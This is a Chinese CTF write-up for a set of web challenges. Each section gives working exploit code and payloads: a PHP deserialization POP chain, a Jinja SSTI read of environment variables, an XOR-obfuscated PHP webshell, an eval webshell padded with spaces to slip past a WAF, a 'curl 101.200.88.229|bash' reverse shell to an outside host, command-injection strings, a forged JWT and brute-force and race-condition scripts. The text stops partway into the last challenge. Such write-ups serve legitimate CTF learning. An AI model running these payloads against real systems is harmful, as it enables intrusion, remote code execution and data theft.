只做了Web
- find-the-id
- ez!http
- LovePopChain
- RedFlag
- ez_md5
- tflock
- babyupload
- Why_so_serials?
- eazyl0gin
- 刮刮乐
- 我写的网站被rce了?
- sub
- ez_waf
- Cookie_Factory
- fake_signin
- 打包给你
find-the-id
抓包重放遍历1~300即可获得flag
ez!http
按照提示,一点点更改请求头并重发
- 只有root用户才能访问后台 你是root嘛?
POST传参user=root
- 只有从blog.buildctf.vip来的用户才可以访问
Referer:blog.buildctf.vip
- 需要使用buildctf专用浏览器
User-Agent:buildctf
- 只有来自内网的用户才能访问
X-Forwarded-For:127.0.0.1
- 只接受2042.99.99这一天发送的请求
Date:2042.99.99
- 只有发起请求的邮箱为root@buildctf.vip才能访问后台
From:root@buildctf.vip
- 只接受代理为buildctf.via的请求
Via:buildctf.via
- 浏览器只接受名为buildctf的语言
Accept-Language:buildctf
- 那我缺的flag在哪呢?点这个按钮试试
POST传参getFlag=This_is_flag
得到flag
LovePopChain
题目环境
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
public function __wakeup()
{
if($this->NoLove == "Do_You_Want_Fl4g?"){
echo 'Love but not getting it!!';
}
}
public function __invoke()
{
$this->Forgzy = clone new GaoZhouYue();
}
}
class GaoZhouYue{
public $Yuer;
public $LastOne;
public function __clone()
{
echo '最后一次了, 爱而不得, 未必就是遗憾~~';
eval($_POST['y3y4']);
}
}
class hybcx{
public $JiuYue;
public $Si;
public function __call($fun1,$arg){
$this->Si->JiuYue=$arg[0];
}
public function __toString(){
$ai = $this->Si;
echo 'I W1ll remember you';
return $ai();
}
}
if(isset($_GET['No_Need.For.Love'])){
@unserialize($_GET['No_Need.For.Love']);
}else{
highlight_file(__FILE__);
}
简单的POP链(干扰项挺多的,不要想多了hhh)
exp如下:
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
}
class GaoZhouYue{
public $Yuer;
public $LastOne;
}
class hybcx{
public $JiuYue;
public $Si;
}
$a=new MyObject();
$a->NoLove= new hybcx();
$a->NoLove->Si=$a;
echo serialize($a);
不过这题到这里还没有结束,在传参位置还有一个很变态的点
$_GET['No_Need.For.Love']
PHP中传入变量名中出现.
和空格
时会被当作非法字符,其会被转化为_
,所以说题目中这个参数名称直接传入不具有合法性。
这里就有条件可以利用一个PHP8被修复的转换错误进行传参:Fix #78236: convert error on receiving variables when duplicate
当PHP版本小于8时,如果参数中出现中括号[
,中括号会被转换成下划线_
,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_
,也就是说如果中括号[
出现在前面,那么中括号[
还是会被转换成下划线_
,但是因为出错导致接下来的非法字符并不会被转换成下划线_
(参考自:php非预期传参、PHP官方文件:来自 PHP 之外的变量)
所以我们get方法传参的变量名为No[Need.For.Love
RedFlag
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/redflag/<path:redflag>')
def redflag(redflag):
def safe_jinja(payload):
payload = payload.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload
return flask.render_template_string(safe_jinja(redflag))
SSTI基础题目
一开始总被这个小括号过滤限制着,不知道咋弄(听说ssti的小括号根本没法绕过)
后来去找了环境变量,还真有
{{ url_for.__globals__['os'].environ }}
ez_md5
第一步
开门见SQL
$sql = "SELECT flag FROM flags WHERE password = '".md5($password,true)."'";
利用ffifdyop
或129581926211651571912466741651878684928
特定字符串绕过MD5
第二步
进入后可以得到部分源码
<?php
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('不可以哦!');
}
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
{
echo $flag;
}else die("再想想");
}else die("不是吧这么简单的md5都过不去?");
?>
看到了robots的提示,访问下robots.txt,得到了部分密码明文
level2
md5(114514xxxxxxx)
结合源码的密文写一个碰撞脚本
from hashlib import md5
from tqdm import tqdm
c0 = '3e41f780146b6c246cd49dd296a3da28'
m0 = 1145140000000
for i in tqdm(range(0, 10000000)):
m = md5()
m.update(str(m0+i).encode('utf-8'))
des = m.hexdigest()
if des == c0:
print(i)
print(m0+i)
break
得到Build_CTF.com
的值为1145146803531
a
和b
的参数就用数组绕过就好啦
传参的时候Build_CTF.com
又出现了PHP超全局变量特殊字符转换错误的问题(参考RedFlag这题)
所以最终payload:
http://27.25.151.80:43506/LnPkcKqy_levl2.php?a[]=1&b[]=2
Build[CTF.com=1145146803531
tflock
从robots.txt中找到了密码本/passwordList
得到了两个文件,其中ctferpass.txt
内容为ctfer:123456 & admin:x
ctfer:123456
给出了一个用户的账号密码admin:x
的x应该就是第二个文件password.txt
里的一个密码
登入ctfer用户界面获得提示:你想要的东西在admin的用户页面里
尝试登入admin界面后发现连续输错两次密码会锁定,那么我们可以两个账号交替输入,爆破密码
先抓包重发,看看请求包和响应包里都有什么数据
然后写一个脚本,轮流发送登录两个账号的请求包
偷来了大佬的脚本(我现在的脚本能力=NULL,该努力了)
import requests
url = "http://27.25.151.80:43779/login.php"
proxy = {
"http": "http://127.0.0.1:8080",
}
header = {
"Host": "27.25.151.80:43779",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Content-Length": "36",
"Origin": "http://27.25.151.80:43779",
"Connection": "close",
"Referer": "http://27.25.151.80:43779/",
"Priority": "u=0"
}
data1 = {
"username": "ctfer",
"password": "123456"
}
with open ("password.txt", "r") as f:
dic = f.readlines()
cookie = {
"GZCTF_Token": "CfDJ8HK89lxLDJFGkMjPh05_xUpdy0MO14nWGxXePJQbl-dGoK8G3mQ8DL8Ou3DBbhOxxL0nViFOJ81aBgVfW70vUuR757PqYL766z01ebk3AE3uMz9YueyKwt2roK-YXOdm5TuoyCG5NxLbQZHXtP1JaULjLUWZuvPfcg4Dprh8jS7i1ehYKqYLY64nz44H1DQucHSPX9xIyIxGC_1UKnn9N2E_9oB2Fct0EiCOe84JJmCA5kBzmtzGqahce0o-aWutB0DRu5NnyQo5A2B3iSgHNPlamxQsAvNVgr_6ww3V13sAPDf7mMcfIcjGQJjFnLZODpyLufml66Q6EMBfW_TZULFUasVj6M-mkRca8QLegOXrcVqbskWMg7s-g_CezD_tpEJTABkf9J0tPCbHTx7ozrrtWgKqrrway3xZkBAmdnF5nXKx1abPZrrzp98_gsY3XEFg6mPMeaLJpyXOHAH1e7PjZACVQb9iQnbEBcJyUwam9f1uu2rqjzOP55QHPUt18GPzIgxnoKb-Po1w3eB9R-o_5UST9IWIt5blIuNp61_buMc9MRsXo7GOudNqOrSnnLV9upMf3HnBhwHzTEoW8d6wMC8P1SSSMrkoSEWTye9SShm04Dktjjjf7P22gtg5iYba9jhJ7l4rvv6nD0xIcLfarX8HZ9EOnojMGs7wzMdxOGx1SirC1ImyynZnOfPguX9juT3HJnTlNqD0vmjC2SI"
}
for i in range (len(dic)):
data2 = {
"username": "admin",
"password": dic[i][:-1]
}
response = requests.post(url = url, headers = header, data = data1, proxies = proxy, cookies = cookie)
cookie_dict = requests.utils.dict_from_cookiejar(response.cookies)
response = requests.post(url = url, headers = header, data = data2, proxies=proxy, cookies = cookie)
cookie_dict = requests.utils.dict_from_cookiejar(response.cookies)
if '{"success":false,"message":"\\u7528\\u6237\\u540d\\u6216\\u5bc6\\u7801\\u9519\\u8bef"}' != response.text:
print("success" + "--->>"+dic[i]+"<<---")
print(response.text)
break
print(str(i) + " " + dic[i])
babyupload
目录扫描,找到了upload.php
尝试传传图片马,发现存在内容过滤(起码是不许包含php字样)
试了几次没找出具体过滤的是什么,遂找队内大哥学习了一个比较彻底的绕过方式
<?= $_="{"; $_=($_^"<").($_^">").($_^"/"); ?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>
使用:http://target.com/path/to/shell.php?_=system&__=env
先来分析下段一句话木马吧:
$_="{"; $_=($_^"<").($_^">").($_^"/");
- 首先这里定义了一个字符串
$_="{"
,即$_
的初始值为{
- 然后,利用位运算符
^
(按位异或)对"<"
,">"
,"/"
进行操作,并将结果串联在一起: "<" ^ "{"
:异或运算会将每个字符的 ASCII 码与另一个字符的 ASCII 码逐位比较,结果是G
。
">" ^ "{"
:这部分操作的结果是E
。
"/" ^ "{"
:结果是T
。
最终的结果是"G" . "E" . "T"
,即$_
变为"GET"
。
<?=${'_'.$_}['_'](${'_'.$_}['__']);?>
'_'.$_
会变成'GET'
,也就是$_GET
这个 PHP 超全局变量。- 然后
${'_'.$_}['_']
等价于$_GET['_']
,这意味着从$_GET
中取出一个键为'_'
的值。 $_GET['_'](${'_'.$_}['__'])
调用了从$_GET['_']
中取出的函数,并传递了参数$_GET['__']
。
(鼓掌!!)多么美妙的方法
上传操作就很简单了
- 绕过MIME检测
- 拓展名应该是白名单,抓包改名即可
- 没过滤
.htaccess
,正常传,改MIME - flag在环境变量(
?_=system&__=env
)
Why_so_serials?
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class Gotham{
public $Bruce;
public $Wayne;
public $crime=false;
public function __construct($Bruce,$Wayne){
$this->Bruce = $Bruce;
$this->Wayne = $Wayne;
}
}
if(isset($_GET['Bruce']) && isset($_GET['Wayne'])){
$Bruce = $_GET['Bruce'];
$Wayne = $_GET['Wayne'];
$city = new Gotham($Bruce,$Wayne);
if(preg_match("/joker/", $Wayne)){
$serial_city = str_replace('joker', 'batman', serialize($city));
$boom = unserialize($serial_city);
if($boom->crime){
echo $flag;
}
}else{
echo "no crime";
}
}else{
echo "HAHAHAHA batman can't catch me!";
}
反序列化
逻辑很容易理解就是反序列化后使得$crime=true
是一个字符串增多的字符串逃逸题目
正常的序列化如下
O:6:"Gotham":3:{s:5:"Bruce";N;s:5:"Wayne";s:5:"joker";s:5:"crime";b:0;}
而要更改的内容如下
";s:5:"crime";b:0;}
,19个字符
题目中字符替换为5个字符变6个字符,所以可设要写x
个joker
:5x+19≥6
payload:
?Wayne='jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}'&Bruce=
eazyl0gin
根据提示和附件,找到routes/users.js
文件
var express = require('express');
var router = express.Router();
const crypto = require('crypto');
const { type } = require('os');
/* GET users listing. */
router.get('/', function(req, res, next) {
res.send('respond with a resource');
});
router.post('/login',function(req,res,next){
var data = {
username: String(req.body.username),
password: String(req.body.password)
}
const md5 = crypto.createHash('md5');
const flag = process.env.flag
if(data.username.toLowerCase()==='buildctf'){
return res.render('login',{data:"你不许用buildctf账户登陆"})
}
if(data.username.toUpperCase()!='BUILDCTF'){
return res.render('login',{data:"只有buildctf这一个账户哦~"})
}
var md5pwd = md5.update(data.password).digest('hex')
if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){
return res.render('login',{data:"密码错误"})
}
return res.render('login',{data:flag})
})
module.exports = router;
对于username
的过滤,可以利用Node.js
中,toLowerCase()
和 toUpperCase()
函数的边缘情况,使用ASCII码305的字符 ı
代替 i
,可以绕过对username
的过滤;
对于password
的验证,破解MD5即可
Node.js
中,toLowerCase()
和 toUpperCase()
函数的边缘情况
在 Node.js
中,toLowerCase()
和 toUpperCase()
函数确实存在一些边缘情况,某些特殊字符在转换时会被意外地转换成字母或其他字符。这可能导致安全漏洞,特别是在进行用户名或密码校验时。以下是一些可能出现的问题及其影响:
一些 Unicode
特殊字符或带重音的字符在执行大小写转换时,可能会转为其他字符。例如:
- 希腊字母
Σ
(大写的 Sigma)在.toLowerCase()
时会变为ς
,而这和小写的σ
并不相同。 - 某些特殊字符如土耳其字符
İ
(带点的I
)和ı
(不带点的小写i
,其ASCII码为305)在转换过程中,可能被处理得与常规字符不同。
刮刮乐
开刮后提示:贴心提示传参cmd哦
传了cmd
后提示:不对哦,你不是来自baidu.com
的自己人哦
那就在请求包里加Referer:baidu.com
curl
反弹shell即可
from requests import post
url = "http://27.25.151.80:44564/?cmd=curl 101.200.88.229|bash"
print(post(url,headers={"Referer":"baidu.com"}).text)
我写的网站被rce了?
先查看源码,发现众多功能中只有日志会传值,那这里很可能就是注点
抓包随意传一个值,发现果然有回显
几次尝试之后发现存在过滤,输入被过滤的内容后会返回:有hacker!!!!你要不要看看你在输入什么?????
在这里插入一个从别人那里学来的看过滤方法
写一个脚本,看看什么不能过滤
from requests import post
url = "http://27.25.151.80:44552/"
data = {"log_type": None}
for i in range(32, 127):
data["log_type"] = chr(i)
t = post(url, data).text
if "hacker" in t:
print(chr(i), end="")
发现%&*.0123456789;<>
都不行,尝试几次发现cat
、flag
、空格
等字符也被过滤
那么就可以结合管道符分隔命令构建payload:
|ls${IFS}/||
|ca""t${IFS}/fl""ag||
sub
给了个源码
import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'
DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}
messages = []
@app.route('/message', methods=['GET', 'POST'])
def message():
if request.method == 'POST':
name = request.form.get('name')
content = request.form.get('content')
messages.append({'name': name, 'content': content})
flash('Message posted')
return redirect(url_for('message'))
return render_template('message.html', messages=messages)
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users:
flash('Username already exists')
return redirect(url_for('register'))
users[username] = {'password': generate_password_hash(password), 'role': 'user'}
flash('User registered successfully')
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and check_password_hash(users[username]['password'], password):
access_token = jwt.encode({
'sub': username,
'role': users[username]['role'],
'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
}, app.config['JWT_SECRET_KEY'], algorithm='HS256')
response = make_response(render_template('page.html'))
response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
# response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
return response
else:
return jsonify({"msg": "Invalid username or password"}), 401
return render_template('login.html')
@app.route('/logout')
def logout():
resp = make_response(redirect(url_for('index')))
resp.set_cookie('jwt', '', expires=0)
flash('You have been logged out')
return resp
@app.route('/')
def index():
return render_template('index.html')
@app.route('/page')
def page():
jwt_token = request.cookies.get('jwt')
if jwt_token:
try:
payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
current_user = payload['sub']
role = payload['role']
except jwt.ExpiredSignatureError:
return jsonify({"msg": "Token has expired"}), 401
except jwt.InvalidTokenError:
return jsonify({"msg": "Invalid token"}), 401
except Exception as e:
return jsonify({"msg": "Invalid or expired token"}), 401
if role != 'admin' or current_user not in users:
return abort(403, 'Access denied')
file = request.args.get('file', '')
file_path = os.path.join(DOCUMENT_DIR, file)
file_path = os.path.normpath(file_path)
if not file_path.startswith(DOCUMENT_DIR):
return abort(400, 'Invalid file name')
try:
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
except subprocess.CalledProcessError as e:
content = str(e)
except Exception as e:
content = str(e)
return render_template('page.html', content=content)
else:
return abort(403, 'Access denied')
@app.route('/categories')
def categories():
return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5050)
源码里可以找到app.secret_key = 'BuildCTF'
在/page
路由里给出了jwt_token
的构造
payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
current_user = payload['sub']
role = payload['role']
并且content = subprocess.check_output(f'cat {file_path}', shell=True, text=True
、return render_template('page.html', content=content)
这里存在命令执行
所以就可以伪造jwt辣
import jwt
secret_key = "BuildCTF"
token = jwt.encode({'sub': "aaaa", 'role':"admin"}, secret_key ,algorithm='HS256')
print(token)
先注册登录(aaaa),再修改token,就可以在file处命令执行
http://27.25.151.80:44595/page?file=test1.txt;cat%20/flag;
ez_waf
文件上传但内容过滤,被过滤会回显:文件内容包含危险字符或代码,上传被拦截!
脚本查查过滤了哪些内容
import requests
from tqdm import tqdm
url = 'http://27.25.151.80:44598/'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Origin": "http://27.25.151.80:44598",
"Referer": "http://27.25.151.80:44598/",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
}
t = True
wordlist = [chr(i) for i in range(256)]
bans, passs = [], []
if t:
for text in tqdm(wordlist):
files = {'upload_file': ('a', text, 'application/octet-stream')}
response = requests.post(url, headers=headers, files=files)
#print(response.text)
if "上传被拦截" in response.text:
bans.append(text)
else:
passs.append(text)
print(f"Ban: {bans}\nPass: {passs}")
输出
Ban: ['"', '#', "'", ';', '<', '=', '>', '\\', '`', '\x80', '\x81', '\x82', '\x83', '\x84', '\x85', '\x86', '\x87', '\x88', '\x89', '\x8a', '\x8b', '\x8c', '\x8d', '\x8e', '\x8f', '\x90', '\x91', '\x92', '\x93', '\x94', '\x95', '\x96', '\x97', '\x98', '\x99', '\x9a', '\x9b', '\x9c', '\x9d', '\x9e', '\x9f', '\xa0', '¡', '¢', '£', '¤', '¥', '¦', '§', '¨', '©', 'ª', '«', '¬', '\xad', '®', '¯', '°', '±', '²', '³', '´', 'µ', '¶', '·', '¸', '¹', 'º', '»', '¼', '½', '¾', '¿', 'À', 'Á', 'Â', 'Ã', 'Ä', 'Å', 'Æ', 'Ç', 'È', 'É', 'Ê', 'Ë', 'Ì', 'Í', 'Î', 'Ï', 'Ð', 'Ñ', 'Ò', 'Ó', 'Ô', 'Õ', 'Ö', '×', 'Ø', 'Ù', 'Ú', 'Û', 'Ü', 'Ý', 'Þ', 'ß', 'à', 'á', 'â', 'ã', 'ä', 'å', 'æ', 'ç', 'è', 'é', 'ê', 'ë', 'ì', 'í', 'î', 'ï', 'ð', 'ñ', 'ò', 'ó', 'ô', 'õ', 'ö', '÷', 'ø', 'ù', 'ú', 'û', 'ü', 'ý', 'þ', 'ÿ']
Pass: ['\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\t', '\n', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', ' ', '!', '$', '%', '&', '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', ']', '^', '_', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~', '\x7f']
ban的很彻底,<
, =
, >
都无了
但是大佬曰:
因为PHP中的file_getcontents
和preg_match
的检测长度是有限的,如果没对文件上传的长度进行限制的话,可以传一个签名存在10万个无用单词的大文件,最后跟一个一句话马.这样在检测的时候无法检测到后面的非法内容,但是可以在访问的时候被正常的解析。
于是上传大文件
import requests
url = 'http://27.25.151.80:44598/'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Origin": "http://27.25.151.80:44598",
"Referer": "http://27.25.151.80:44598/",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
}
shell = '<<?php @eval($_POST[\'shell\']);?>>'
files = {
'upload_file': ('shell.php', " " * 100000 + shell[1:-1], 'application/octet-stream')
}
response = requests.post(url, headers=headers, files=files)
print("Status Code:", response.status_code)
print("Response Headers:", response.headers)
print("Response Body:", response.text)
蚁剑连接即可,flag在根目录
Cookie_Factory
给了后端JS源码
const express = require('express')
const app = express();
const http = require('http').Server(app);
const port = 3000;
const socketIo = require('socket.io');
const io = socketIo(http);
let sessions = {}
let errors = {}
app.use(express.static(__dirname));
app.get('/', (req, res) => {
res.sendFile("./index.html")
})
io.on('connection', (socket) => {
sessions[socket.id] = 0
errors[socket.id] = 0
socket.on('disconnect', () => {
console.log('user disconnected');
});
socket.on('chat message', (msg) => {
socket.emit('chat message', msg);
});
socket.on('receivedError', (msg) => {
sessions[socket.id] = errors[socket.id]
socket.emit('recievedScore', JSON.stringify({"value":sessions[socket.id]}));
});
socket.on('click', (msg) => {
let json = JSON.parse(msg)
if (sessions[socket.id] > 1e20) {
socket.emit('recievedScore', JSON.stringify({"value":"FLAG"}));
return;
}
if (json.value != sessions[socket.id]) {
socket.emit("error", "previous value does not match")
}
let oldValue = sessions[socket.id]
let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue
sessions[socket.id] = newValue
socket.emit('recievedScore', JSON.stringify({"value":newValue}));
if (json.power > 10) {
socket.emit('error', JSON.stringify({"value":oldValue}));
}
errors[socket.id] = oldValue;
});
});
http.listen(port, () => {
console.log(`App server listening on ${port}. (Go to http://localhost:${port})`);
});
前端代码(禁用F12,不过影响不大,开发者工具总能打开的)
var socket = io();
let cookie = document.querySelector("img")
class sendMessage {
power = 1
value = 0
}
let send = new sendMessage();
cookie.addEventListener('click', function (e) {
socket.emit('click', JSON.stringify({ "power": send.power, "value": send.value }));
const cookieRect = cookie.getBoundingClientRect();
const cookieWidth = cookieRect.width;
const cookieHeight = cookieRect.height;
const viewportWidth = window.innerWidth;
const viewportHeight = window.innerHeight;
const maxX = viewportWidth - cookieWidth;
const maxY = viewportHeight - cookieHeight;
const randomX = Math.random() * maxX;
const randomY = Math.random() * maxY;
cookie.style.position = 'absolute';
cookie.style.left = `${randomX}px`;
cookie.style.top = `${randomY}px`;
});
socket.on('recievedScore', function (msg) {
let scores = JSON.parse(msg)
send.value = scores.value
document.querySelector(".points").textContent = scores.value
});
socket.on('error', function (msg) {
console.log("Error")
socket.emit('receivedError', "recieved");
});
document.addEventListener('contextmenu', function (e) {
e.preventDefault();
});
document.addEventListener('keydown', function (e) {
if (e.key === 'F12') {
e.preventDefault();
}
});
从前后端代码我们可以了解到这个题目的逻辑:
每次点击曲奇会从前端发送一个socket
请求给后端,传递power
和value
这两个值.要求value
达到1e20
。
这里每次的value
要和应该出现的value
值进行一个比较,看是否一致(应该出现的value
值与上一次传入的value
值和power
值有关)
下面这个判断主要用来确保客户端在发送数据时传递的 value
与服务器保存的 sessions[socket.id]
的值一致。(这个sessions[socket.id]
的值就是我们上面说的应该出现的value
)
if (json.value != sessions[socket.id]) {
socket.emit("error", "previous value does not match")
}
这个sessions[socket.id]
的产生方式如下:
let oldValue = sessions[socket.id]
let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue
sessions[socket.id] = newValue
json.power
决定了value
的随机增量范围:Math.random() * json.power
生成一个介于 0
和 power
之间的浮点数,然后通过 Math.floor
取整,使得增量成为一个介于 1
到 power
之间的整数。而这里power
的初始值为1
服务器端有一个校验条件,如果 power
超过 10
,则会触发一个错误,返回客户端之前的value
。这个条件限制了客户端 power
的值,防止用户通过设定极大值来快速累积value
。
if (json.power > 10) {
socket.emit('error', JSON.stringify({"value":oldValue}));
}
所以:
如果我们能够在不触发报错的情况下伪造一个超级大的power
,就能够实现绕过.
但是咋样做到不报错我就不会了,不过看了大佬的思路,感觉很灵性
这里需要服务端向客户端传递一个错误信号,然后客户端再返回一个错误信号才能完成一次报错。
这就导致了一个问题,如果我们把服务端发送的报错信号drop
掉,那么就不会完成一次完整的报错,那么power
就会伪造成功!
在控制台把power
改成1e60
,drop
掉error
,成功拿到flag。
socket.emit('click', JSON.stringify({ "power":1e60, "value":
1e20 }));
妙哉妙哉,做这种题很享受
真是NB不过这题有个非预期解,目录扫描的时候把
/app.js
扫出来了,里面就有Flag,hhh
fake_signin
给了源码:
import time
from flask import Flask, render_template, redirect, url_for, session, request
from datetime import datetime
app = Flask(__name__)
app.secret_key = 'BuildCTF'
CURRENT_DATE = datetime(2024, 9, 30)
users = {
'admin': {
'password': 'admin',
'signins': {},
'supplement_count': 0,
}
}
@app.route('/')
def index():
if 'user' in session:
return redirect(url_for('view_signin'))
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and users[username]['password'] == password:
session['user'] = username
return redirect(url_for('view_signin'))
return render_template('login.html')
@app.route('/view_signin')
def view_signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
signins = user['signins']
dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), signins.get(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), False))
for i in range(1, 31)]
today = CURRENT_DATE.strftime("%Y-%m-%d")
today_signed_in = today in signins
if len([d for d in signins.values() if d]) >= 30:
return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")
return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in)
@app.route('/signin')
def signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
today = CURRENT_DATE.strftime("%Y-%m-%d")
if today not in user['signins']:
user['signins'][today] = True
return redirect(url_for('view_signin'))
@app.route('/supplement_signin', methods=['GET', 'POST'])
def supplement_signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
supplement_message = ""
if request.method == 'POST':
supplement_date = request.form.get('supplement_date')
if supplement_date:
if user['supplement_count'] < 1:
user['signins'][supplement_date] = True
user['supplement_count'] += 1
else:
supplement_message = "本月补签次数已用完。"
else:
supplement_message = "请选择补签日期。"
return redirect(url_for('view_signin'))
supplement_dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d")) for i in range(1, 31)]
return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)
@app.route('/logout')
def logout():
session.pop('user', None)
return redirect(url_for('login'))
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5051)
首先看见了admin用户的密码:admin,登录进去是签到页面
可以签到9.30,也可以补签一次
从下面这段代码我们可以知道要签到满30天才能拿到flag
if len([d for d in signins.values() if d]) >= 30:
return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")
再关注这个部分:
if supplement_date:
if user['supplement_count'] < 1:
user['signins'][supplement_date] = True
user['supplement_count'] += 1
else:
supplement_message = "本月补签次数已用完。"
else:
supplement_message = "请选择补签日期。"
先判断补签次数,限制只能补签一次
如果没补签过,补签成功,将该日期标记为已签到并增加补签计数。
可以考虑条件竞争. 设置较大线程数
supplement_date=2024-09-XX
写了个脚本
import requests
import threading
import time
url = 'http://27.25.151.80:44703/supplement_signin'
headers = {
"Host":"27.25.151.80:44703",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "26",
"Origin": "http://27.25.151.80:44703",
"Connection": "close",
"Referer": "http://27.25.151.80:44703/supplement_signin",
"Cookie": "session=eyJ1c2VyIjoiYWRtaW4ifQ.Zx5NNw.RfUADhuuRxB3_kHT456H20vvCzI",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i",
}
def send_request(day):
data = f"supplement_date=2024-09-{day:02d}"
response=requests.post(url,headers=headers,data=data)
print(f"Day {day:02d} Response: {response.status_code} ")
with open("1.txt", "a", encoding="utf-8") as f:
f.write(f"Day {day:02d} Response: {response.status_code}\n")
f.write(response.text + "\n\n")
threads=[]
for day in range(1,31):
thread = threading.Thread(target=send_request, args=(day,))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
打包给你
打包给我了(那我也没会,不还是得现学别人的),找到这个文件
from flask import Flask, g, render_template, request, redirect, make_response, send_file, after_this_request
import uuid, os
app = Flask(__name__)
@app.before_request
def check_uuid():
uuid_cookie = request.cookies.get('uuid', None)
if uuid_cookie is None:
response = make_response(redirect('/'))
response.set_cookie('uuid', str(uuid.uuid4()))
return response
